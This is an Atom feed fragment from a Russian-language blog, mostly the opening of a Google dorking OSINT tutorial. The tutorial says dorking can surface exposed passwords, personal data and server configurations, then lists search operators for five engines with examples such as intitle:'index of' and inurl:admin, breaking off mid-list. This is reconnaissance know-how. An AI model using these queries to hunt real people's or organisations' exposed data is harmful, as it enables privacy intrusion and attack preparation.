  &lt;p id=&quot;s02y&quot;&gt;На этом настройка точки завершена, и можно её протестировать, подключившись по SSH или, как в моём случае, попробовав зайти на поднятый Web-сервер:&lt;/p&gt;
  &lt;figure id=&quot;UT9V&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/55/21/5521ea08-5430-491b-a0c0-1e6632710c31.png&quot; width=&quot;615&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IUMV&quot;&gt;Всё отлично работает! Надеюсь, моя статья принесёт вам пользу.&lt;/p&gt;

</content></entry><entry><id>none_notes:google_dorks</id><link rel="alternate" type="text/html" href="https://blog.nonedev.tech/google_dorks?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=none_notes"></link><title>OSINT: Google Dorks ч.1</title><published>2024-06-03T10:32:43.340Z</published><updated>2024-06-03T10:32:43.340Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/90/18/9018a81a-c632-40ee-b411-a8ea21275ca4.png"></media:thumbnail><tt:hashtag>osint</tt:hashtag><tt:hashtag>google_dorking</tt:hashtag><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/33/67/33671d38-adce-499c-9aa0-43d24dc3dc80.png&quot;&gt;Google Dorking, также известный как взлом Google, — это метод, который позволяет искать информацию, доступ к которой ограничен или затруднён с помощью обычных поисковых запросов.</summary><content type="html">
  &lt;figure id=&quot;8XFe&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/33/67/33671d38-adce-499c-9aa0-43d24dc3dc80.png&quot; width=&quot;1792&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;nav&gt;
    &lt;ul&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#B5st&quot;&gt;Введение&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#SBfh&quot;&gt;Что такое Google Dorking?&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#opYV&quot;&gt;Для чего используется?&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#FpRq&quot;&gt;Почему используется?&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#I8BH&quot;&gt;Что можно найти?&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#AtXA&quot;&gt;Поисковики и их основные фильтры&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#eoR3&quot;&gt;1. Google&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#2twf&quot;&gt;2. Bing&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#qpyA&quot;&gt;3. DuckDuckGo&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#mpdv&quot;&gt;4. Yandex&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#hJdx&quot;&gt;5. Yahoo&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#s43k&quot;&gt;Кейсы и применениие Google Dorks&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#ztkG&quot;&gt;Кейс 1 (kingstonű):&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#fkcz&quot;&gt;Кейс 2 (Оцениваем достижения студентов):&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_2&quot;&gt;&lt;a href=&quot;#HWFN&quot;&gt;Кейс 3 (Ловись рыбка):&lt;/a&gt;&lt;/li&gt;
      &lt;li class=&quot;m_level_1&quot;&gt;&lt;a href=&quot;#43zV&quot;&gt;Заключение&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/nav&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;B5st&quot;&gt;Введение&lt;/h2&gt;
  &lt;h3 id=&quot;SBfh&quot;&gt;Что такое Google Dorking?&lt;/h3&gt;
  &lt;p id=&quot;lN5P&quot;&gt;Google Dorking, также известный как взлом Google, — это метод, который позволяет искать информацию, доступ к которой ограничен или затруднён с помощью обычных поисковых запросов. &lt;/p&gt;
  &lt;p id=&quot;8AjP&quot;&gt;Этот метод использует расширенные возможности индексации Google для поиска конкретных типов данных, которые могут содержать конфиденциальную информацию. Иногда такая информация может быть непреднамеренно обнародована и доступна для поиска с помощью специальных поисковых запросов.&lt;/p&gt;
  &lt;h3 id=&quot;opYV&quot;&gt;Для чего используется?&lt;/h3&gt;
  &lt;ul id=&quot;iTfB&quot;&gt;
    &lt;li id=&quot;Jpt4&quot;&gt;&lt;strong&gt;Тестирование на проникновение&lt;/strong&gt;: Эксперты по безопасности используют Google Dorking для поиска уязвимостей и обеспечения безопасности систем.&lt;/li&gt;
    &lt;li id=&quot;Qxkx&quot;&gt;&lt;strong&gt;Сбор информации&lt;/strong&gt;: Исследователи используют его для сбора соответствующих данных для различных целей.&lt;/li&gt;
    &lt;li id=&quot;uChw&quot;&gt;&lt;strong&gt;Аудит конфиденциальности&lt;/strong&gt;: Частные лица и организации используют его для проверки того, какая информация о них является общедоступной.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;FpRq&quot;&gt;Почему используется?&lt;/h3&gt;
  &lt;p id=&quot;oEZL&quot;&gt;&lt;strong&gt;Возможности поисковых систем&lt;/strong&gt;: Google обладает невероятными возможностями для индексации огромных объемов данных из Интернета. Используя расширенные поисковые системы, пользователи могут более эффективно просматривать эти данные для поиска конкретной информации.&lt;/p&gt;
  &lt;p id=&quot;1vUR&quot;&gt;&lt;strong&gt;Общедоступная информация&lt;/strong&gt;: OSINT фокусируется на сборе общедоступной информации. Google Dorking идеально вписывается в эту парадигму, поскольку помогает находить данные, которые уже являются общедоступными, но которые нелегко найти с помощью простого поиска.&lt;/p&gt;
  &lt;p id=&quot;6rYF&quot;&gt;&lt;strong&gt;Универсальность и специфичность&lt;/strong&gt;: Google Dorking позволяет выполнять поиск с высокой степенью конкретизации. Это ценно в OSINT, где точность может привести к получению более актуальной и действенной информации.&lt;/p&gt;
  &lt;h3 id=&quot;I8BH&quot;&gt;Что можно найти?&lt;/h3&gt;
  &lt;ol id=&quot;Cr78&quot;&gt;
    &lt;li id=&quot;2FMq&quot;&gt;Имена пользователей и пароли.&lt;/li&gt;
    &lt;li id=&quot;aNgo&quot;&gt;Список адресов электронной почты.&lt;/li&gt;
    &lt;li id=&quot;2VOl&quot;&gt;Персональные данные (адреса, номера телефонов).&lt;/li&gt;
    &lt;li id=&quot;zzYl&quot;&gt;Конфиденциальные данные компании.&lt;/li&gt;
    &lt;li id=&quot;V0Vy&quot;&gt;Конфигурацию сервера и сети.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h2 id=&quot;AtXA&quot;&gt;Поисковики и их основные фильтры&lt;/h2&gt;
  &lt;h3 id=&quot;eoR3&quot;&gt;&lt;strong&gt;1. Google&lt;/strong&gt;&lt;/h3&gt;
  &lt;ul id=&quot;Hlx8&quot;&gt;
    &lt;li id=&quot;lT9N&quot;&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;a href=&quot;https://www.google.com&quot; target=&quot;_blank&quot;&gt;google.com&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;dIMP&quot;&gt;&lt;strong&gt;Особенности:&lt;/strong&gt; Обширная индексация, мощные алгоритмы поиска.&lt;/li&gt;
    &lt;li id=&quot;bMZI&quot;&gt;&lt;strong&gt;Фильтры:&lt;/strong&gt;&lt;/li&gt;
    &lt;ul id=&quot;RL4K&quot;&gt;
      &lt;li id=&quot;TIhG&quot;&gt;Кавычки (&lt;code&gt;&amp;quot; &amp;quot;&lt;/code&gt;): Найдите точную фразу.&lt;/li&gt;
      &lt;ul id=&quot;CtbD&quot;&gt;
        &lt;li id=&quot;R7fb&quot;&gt;Пример: &lt;code&gt;&amp;quot;open source intelligence&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;E2hJ&quot;&gt;
      &lt;li id=&quot;kJ32&quot;&gt;Минус (&lt;code&gt;-&lt;/code&gt;): Исключите слово или фразу.&lt;/li&gt;
      &lt;ul id=&quot;r5wM&quot;&gt;
        &lt;li id=&quot;tAHB&quot;&gt;Пример: &lt;code&gt;cybersecurity -news&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;Vo0b&quot;&gt;
      &lt;li id=&quot;ELFV&quot;&gt;&lt;strong&gt;&lt;code&gt;site:&lt;/code&gt;&lt;/strong&gt;: Ограничьте результаты только определенным сайтом.&lt;/li&gt;
      &lt;ul id=&quot;Pviz&quot;&gt;
        &lt;li id=&quot;zTFa&quot;&gt;Пример: &lt;code&gt;site:wikipedia.org&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;JQmj&quot;&gt;
      &lt;li id=&quot;Ee3E&quot;&gt;&lt;strong&gt;&lt;code&gt;intitle:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы с определенным словом в названии.&lt;/li&gt;
      &lt;ul id=&quot;UIei&quot;&gt;
        &lt;li id=&quot;EZ7M&quot;&gt;Пример: &lt;code&gt;intitle:&amp;quot;index of&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;benP&quot;&gt;
      &lt;li id=&quot;agE3&quot;&gt;&lt;strong&gt;&lt;code&gt;inurl:&lt;/code&gt;&lt;/strong&gt;: Найдите URL-адреса, содержащие определенное слово.&lt;/li&gt;
      &lt;ul id=&quot;K8X8&quot;&gt;
        &lt;li id=&quot;hXWm&quot;&gt;Пример: &lt;code&gt;inurl:admin&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;q241&quot;&gt;
      &lt;li id=&quot;iMeR&quot;&gt;&lt;strong&gt;&lt;code&gt;filetype:&lt;/code&gt;&lt;/strong&gt;: Выполняйте поиск по определенным типам файлов.&lt;/li&gt;
      &lt;ul id=&quot;LjFZ&quot;&gt;
        &lt;li id=&quot;7qHp&quot;&gt;Пример: &lt;code&gt;filetype:pdf&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;icNz&quot;&gt;
      &lt;li id=&quot;8suV&quot;&gt;&lt;strong&gt;&lt;code&gt;related:&lt;/code&gt;&lt;/strong&gt;: Найдите сайты, связанные с определенным URL.&lt;/li&gt;
      &lt;ul id=&quot;eEc4&quot;&gt;
        &lt;li id=&quot;W4Dp&quot;&gt;Пример: &lt;code&gt;related:nytimes.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;Id0s&quot;&gt;
      &lt;li id=&quot;76Kj&quot;&gt;&lt;strong&gt;&lt;code&gt;cache:&lt;/code&gt;&lt;/strong&gt;: Просмотр кэшированной версии страницы.&lt;/li&gt;
      &lt;ul id=&quot;51F6&quot;&gt;
        &lt;li id=&quot;PX8C&quot;&gt;Пример: &lt;code&gt;cache:example.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;p6mp&quot;&gt;
      &lt;li id=&quot;RzxK&quot;&gt;&lt;strong&gt;&lt;code&gt;link:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы, которые ссылаются на определенный URL.&lt;/li&gt;
      &lt;ul id=&quot;CpAq&quot;&gt;
        &lt;li id=&quot;TmWB&quot;&gt;Пример: &lt;code&gt;link:example.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;zoB1&quot;&gt;
      &lt;li id=&quot;Ou5y&quot;&gt;&lt;strong&gt;&lt;code&gt;define:&lt;/code&gt;&lt;/strong&gt;: Получите определения слов.&lt;/li&gt;
      &lt;ul id=&quot;IvM0&quot;&gt;
        &lt;li id=&quot;jU8Q&quot;&gt;Пример: &lt;code&gt;define:osint&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;2twf&quot;&gt;2. &lt;strong&gt;Bing&lt;/strong&gt;&lt;/h3&gt;
  &lt;ul id=&quot;bNjC&quot;&gt;
    &lt;li id=&quot;E374&quot;&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;a href=&quot;https://www.bing.com&quot; target=&quot;_blank&quot;&gt;bing.com&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;cIwL&quot;&gt;&lt;strong&gt;Особенности:&lt;/strong&gt; Аналогичен Google, часто находит разные результаты из-за разных методов индексации.&lt;/li&gt;
    &lt;li id=&quot;JOPM&quot;&gt;&lt;strong&gt;Фильтры:&lt;/strong&gt;&lt;/li&gt;
    &lt;ul id=&quot;AH58&quot;&gt;
      &lt;li id=&quot;SuoF&quot;&gt;Кавычки(&lt;code&gt;&amp;quot; &amp;quot;&lt;/code&gt;): Найдите точную фразу.&lt;/li&gt;
      &lt;ul id=&quot;HGZO&quot;&gt;
        &lt;li id=&quot;cLA7&quot;&gt;Пример: &lt;code&gt;&amp;quot;open source intelligence&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;5UtR&quot;&gt;
      &lt;li id=&quot;Yql8&quot;&gt;Минус(&lt;code&gt;-&lt;/code&gt;): Исключите слово или фразу.&lt;/li&gt;
      &lt;ul id=&quot;X6eH&quot;&gt;
        &lt;li id=&quot;rT67&quot;&gt;Пример: &lt;code&gt;cybersecurity -news&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;wkeq&quot;&gt;
      &lt;li id=&quot;pSts&quot;&gt;&lt;strong&gt;&lt;code&gt;site:&lt;/code&gt;&lt;/strong&gt;: Ограничьте результаты только определенным сайтом.&lt;/li&gt;
      &lt;ul id=&quot;cvIE&quot;&gt;
        &lt;li id=&quot;bNoM&quot;&gt;Пример: &lt;code&gt;site:wikipedia.org&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;mqzU&quot;&gt;
      &lt;li id=&quot;hOqL&quot;&gt;&lt;strong&gt;&lt;code&gt;intitle:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы с определенным словом в названии.&lt;/li&gt;
      &lt;ul id=&quot;SkyU&quot;&gt;
        &lt;li id=&quot;dKBR&quot;&gt;Пример: &lt;code&gt;intitle:&amp;quot;index of&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;J3BG&quot;&gt;
      &lt;li id=&quot;z54e&quot;&gt;&lt;strong&gt;&lt;code&gt;inurl:&lt;/code&gt;&lt;/strong&gt;: Найдите URL-адреса, содержащие определенное слово.&lt;/li&gt;
      &lt;ul id=&quot;OesF&quot;&gt;
        &lt;li id=&quot;qLGI&quot;&gt;Пример: &lt;code&gt;inurl:admin&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;dTBm&quot;&gt;
      &lt;li id=&quot;ZGSZ&quot;&gt;&lt;strong&gt;&lt;code&gt;filetype:&lt;/code&gt;&lt;/strong&gt;: Выполняйте поиск по определенным типам файлов.&lt;/li&gt;
      &lt;ul id=&quot;TSAA&quot;&gt;
        &lt;li id=&quot;y2Nx&quot;&gt;Пример: &lt;code&gt;filetype:pdf&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;wNdP&quot;&gt;
      &lt;li id=&quot;pvBW&quot;&gt;&lt;strong&gt;&lt;code&gt;linkfromdomain:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы, которые ссылаются на определенный домен.&lt;/li&gt;
      &lt;ul id=&quot;xyW8&quot;&gt;
        &lt;li id=&quot;5TuZ&quot;&gt;Пример: &lt;code&gt;linkfromdomain:example.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;SsIs&quot;&gt;
      &lt;li id=&quot;x8RY&quot;&gt;&lt;strong&gt;&lt;code&gt;contains:&lt;/code&gt;&lt;/strong&gt;: Ищите страницы, содержащие ссылки на файлы определенного типа.&lt;/li&gt;
      &lt;ul id=&quot;aQ15&quot;&gt;
        &lt;li id=&quot;Pp3I&quot;&gt;Пример: &lt;code&gt;contains:pdf&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;qGS4&quot;&gt;
      &lt;li id=&quot;x23A&quot;&gt;&lt;strong&gt;&lt;code&gt;define:&lt;/code&gt;&lt;/strong&gt;: Получите определения слов.&lt;/li&gt;
      &lt;ul id=&quot;8r9N&quot;&gt;
        &lt;li id=&quot;wEGl&quot;&gt;Пример: &lt;code&gt;define:osint&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;qpyA&quot;&gt;3. &lt;strong&gt;DuckDuckGo&lt;/strong&gt;&lt;/h3&gt;
  &lt;ul id=&quot;aFTQ&quot;&gt;
    &lt;li id=&quot;7rgU&quot;&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;a href=&quot;https://www.duckduckgo.com&quot; target=&quot;_blank&quot;&gt;duckduckgo.com&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;1RcE&quot;&gt;&lt;strong&gt;Особенности:&lt;/strong&gt; Ориентирован на конфиденциальность, не отслеживает пользователей.&lt;/li&gt;
    &lt;li id=&quot;AjgJ&quot;&gt;&lt;strong&gt;Фильтры:&lt;/strong&gt;&lt;/li&gt;
    &lt;ul id=&quot;YCh8&quot;&gt;
      &lt;li id=&quot;7pe1&quot;&gt;Кавычки (&lt;code&gt;&amp;quot; &amp;quot;&lt;/code&gt;): Найдите точную фразу.&lt;/li&gt;
      &lt;ul id=&quot;Htr4&quot;&gt;
        &lt;li id=&quot;GaWe&quot;&gt;Пример: &lt;code&gt;&amp;quot;open source intelligence&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;qlRC&quot;&gt;
      &lt;li id=&quot;Uxzx&quot;&gt;Минус (&lt;code&gt;-&lt;/code&gt;): Исключите слово или фразу.&lt;/li&gt;
      &lt;ul id=&quot;LkxK&quot;&gt;
        &lt;li id=&quot;ZFPf&quot;&gt;Пример: &lt;code&gt;cybersecurity -news&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;c1Qw&quot;&gt;
      &lt;li id=&quot;sq28&quot;&gt;&lt;strong&gt;&lt;code&gt;site:&lt;/code&gt;&lt;/strong&gt;: Ограничьте результаты только определенным сайтом.&lt;/li&gt;
      &lt;ul id=&quot;znFV&quot;&gt;
        &lt;li id=&quot;tpQ9&quot;&gt;Пример: &lt;code&gt;site:wikipedia.org&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;7vSr&quot;&gt;
      &lt;li id=&quot;g3hR&quot;&gt;&lt;strong&gt;&lt;code&gt;intitle:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы с определенным словом в названии.&lt;/li&gt;
      &lt;ul id=&quot;zl2C&quot;&gt;
        &lt;li id=&quot;pgFc&quot;&gt;Пример: &lt;code&gt;intitle:&amp;quot;index of&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;W6WT&quot;&gt;
      &lt;li id=&quot;MO9c&quot;&gt;&lt;strong&gt;&lt;code&gt;inurl:&lt;/code&gt;&lt;/strong&gt;: Найдите URL-адреса, содержащие определенное слово.&lt;/li&gt;
      &lt;ul id=&quot;00Qs&quot;&gt;
        &lt;li id=&quot;Zvqz&quot;&gt;Пример: &lt;code&gt;inurl:admin&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;dqg1&quot;&gt;
      &lt;li id=&quot;AhHM&quot;&gt;&lt;strong&gt;&lt;code&gt;filetype:&lt;/code&gt;&lt;/strong&gt;: Выполняйте поиск по определенным типам файлов.&lt;/li&gt;
      &lt;ul id=&quot;Zc9c&quot;&gt;
        &lt;li id=&quot;rIpp&quot;&gt;Пример: &lt;code&gt;filetype:pdf&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;Osc3&quot;&gt;
      &lt;li id=&quot;Juz7&quot;&gt;&lt;strong&gt;&lt;code&gt;ext:&lt;/code&gt;&lt;/strong&gt;: Похожий на &lt;code&gt;filetype,&lt;/code&gt;выполняет поиск по определенным расширениям файлов.&lt;/li&gt;
      &lt;ul id=&quot;rxKm&quot;&gt;
        &lt;li id=&quot;hsSL&quot;&gt;Пример: &lt;code&gt;ext:pdf&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;Eem7&quot;&gt;
      &lt;li id=&quot;5rtz&quot;&gt;&lt;strong&gt;&lt;code&gt;define:&lt;/code&gt;&lt;/strong&gt;: Получите определения слов.&lt;/li&gt;
      &lt;ul id=&quot;HTJs&quot;&gt;
        &lt;li id=&quot;qpLq&quot;&gt;Пример: &lt;code&gt;define:osint&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;B8dM&quot;&gt;
      &lt;li id=&quot;nYWz&quot;&gt;&lt;strong&gt;&lt;code&gt;related:&lt;/code&gt;&lt;/strong&gt;: Найдите сайты, связанные с определенным URL.&lt;/li&gt;
      &lt;ul id=&quot;PADS&quot;&gt;
        &lt;li id=&quot;fHjO&quot;&gt;Пример: &lt;code&gt;related:nytimes.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;zehK&quot;&gt;
      &lt;li id=&quot;ZDVp&quot;&gt;&lt;strong&gt;&lt;code&gt;!bangs&lt;/code&gt;&lt;/strong&gt;: Используйте DuckDuckGo bangs для прямого поиска на других веб-сайтах.&lt;/li&gt;
      &lt;ul id=&quot;6Fzd&quot;&gt;
        &lt;li id=&quot;TFH8&quot;&gt;Пример: &lt;code&gt;!wikipedia OSINT&lt;/code&gt; (searches for OSINT on Wikipedia).&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;mpdv&quot;&gt;4. &lt;strong&gt;Yandex&lt;/strong&gt;&lt;/h3&gt;
  &lt;ul id=&quot;ym1F&quot;&gt;
    &lt;li id=&quot;bo2V&quot;&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;a href=&quot;https://www.yandex.com&quot; target=&quot;_blank&quot;&gt;yandex.com&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;JC5R&quot;&gt;&lt;strong&gt;Особенности:&lt;/strong&gt; Популярен в России, подходит для поиска контента, который может быть пропущен западными поисковыми системами.&lt;/li&gt;
    &lt;li id=&quot;m0X9&quot;&gt;&lt;strong&gt;Фильтры:&lt;/strong&gt;&lt;/li&gt;
    &lt;ul id=&quot;khAP&quot;&gt;
      &lt;li id=&quot;h3c0&quot;&gt;Кавычки (&lt;code&gt;&amp;quot; &amp;quot;&lt;/code&gt;): Найдите точную фразу.&lt;/li&gt;
      &lt;ul id=&quot;N54v&quot;&gt;
        &lt;li id=&quot;rqzp&quot;&gt;Пример: &lt;code&gt;&amp;quot;open source intelligence&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;q9dC&quot;&gt;
      &lt;li id=&quot;I02e&quot;&gt;Минус (&lt;code&gt;-&lt;/code&gt;): Исключите слово или фразу.&lt;/li&gt;
      &lt;ul id=&quot;fGfF&quot;&gt;
        &lt;li id=&quot;AOTT&quot;&gt;Пример: &lt;code&gt;cybersecurity -news&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;IxRI&quot;&gt;
      &lt;li id=&quot;rmcr&quot;&gt;&lt;strong&gt;&lt;code&gt;site:&lt;/code&gt;&lt;/strong&gt;: Ограничьте результаты только определенным сайтом.&lt;/li&gt;
      &lt;ul id=&quot;QL4L&quot;&gt;
        &lt;li id=&quot;cAhJ&quot;&gt;Пример: &lt;code&gt;site:wikipedia.org&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;MhK9&quot;&gt;
      &lt;li id=&quot;DsA9&quot;&gt;&lt;strong&gt;&lt;code&gt;title:&lt;/code&gt;&lt;/strong&gt;: Найдите страницы с определенным словом в названии.&lt;/li&gt;
      &lt;ul id=&quot;tnEQ&quot;&gt;
        &lt;li id=&quot;FeZ7&quot;&gt;Пример: &lt;code&gt;title:&amp;quot;index of&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;iBJ3&quot;&gt;
      &lt;li id=&quot;sf0H&quot;&gt;&lt;strong&gt;&lt;code&gt;url:&lt;/code&gt;&lt;/strong&gt;: Найдите URL-адреса, содержащие определенное слово.&lt;/li&gt;
      &lt;ul id=&quot;SDxA&quot;&gt;
        &lt;li id=&quot;j9Er&quot;&gt;Пример: &lt;code&gt;url:admin&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;g3N6&quot;&gt;
      &lt;li id=&quot;thHg&quot;&gt;&lt;strong&gt;&lt;code&gt;mime:&lt;/code&gt;&lt;/strong&gt;: Выполняйте поиск определенных типов файлов по их типу MIME.&lt;/li&gt;
      &lt;ul id=&quot;zDnn&quot;&gt;
        &lt;li id=&quot;Olgy&quot;&gt;Пример: &lt;code&gt;mime:application/pdf&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;txEc&quot;&gt;
      &lt;li id=&quot;uQRq&quot;&gt;&lt;strong&gt;&lt;code&gt;domain:&lt;/code&gt;&lt;/strong&gt;: Ограничьте результаты поиска определенным доменом.&lt;/li&gt;
      &lt;ul id=&quot;QfO5&quot;&gt;
        &lt;li id=&quot;CJAg&quot;&gt;Пример: &lt;code&gt;domain:example.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;HlYR&quot;&gt;
      &lt;li id=&quot;qAHl&quot;&gt;&lt;strong&gt;&lt;code&gt;host:&lt;/code&gt;&lt;/strong&gt;: Выполняйте поиск в пределах определенного хоста.&lt;/li&gt;
      &lt;ul id=&quot;IRKX&quot;&gt;
        &lt;li id=&quot;g2D5&quot;&gt;Пример: &lt;code&gt;host:subdomain.example.com&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;hJdx&quot;&gt;5. &lt;strong&gt;Yahoo&lt;/strong&gt;&lt;/h3&gt;
  &lt;ul id=&quot;iI8t&quot;&gt;
    &lt;li id=&quot;87AZ&quot;&gt;&lt;strong&gt;URL&lt;/strong&gt;: &lt;a href=&quot;https://www.yahoo.com&quot; target=&quot;_blank&quot;&gt;yahoo.com&lt;/a&gt;&lt;/li&gt;
    &lt;li id=&quot;LPmu&quot;&gt;&lt;strong&gt;Особенности:&lt;/strong&gt; Использует поисковый индекс Bing, предлагает расширенные параметры поиска, содержит уникальный контент в своем индексе.&lt;/li&gt;
    &lt;li id=&quot;Zout&quot;&gt;&lt;strong&gt;Фильтры:&lt;/strong&gt;&lt;/li&gt;
    &lt;ul id=&quot;0RWv&quot;&gt;
      &lt;li id=&quot;nnyC&quot;&gt;Кавычки (&lt;code&gt;&amp;quot; &amp;quot;&lt;/code&gt;): Найдите точную фразу.&lt;/li&gt;
      &lt;ul id=&quot;wnQo&quot;&gt;
        &lt;li id=&quot;yS2U&quot;&gt;Пример: &lt;code&gt;&amp;quot;open source intelligence&amp;quot;&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;YhDV&quot;&gt;
      &lt;li id=&quot;i9zy&quot;&gt;Минус (&lt;code&gt;-&lt;/code&gt;): Исключите слово или фразу.&lt;/li&gt;
      &lt;ul id=&quot;HwyR&quot;&gt;
        &lt;li id=&quot;vOgO&quot;&gt;Пример: &lt;code&gt;cybersecurity -news&lt;/code&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;ul id=&quot;Jzs8&quot;&gt;
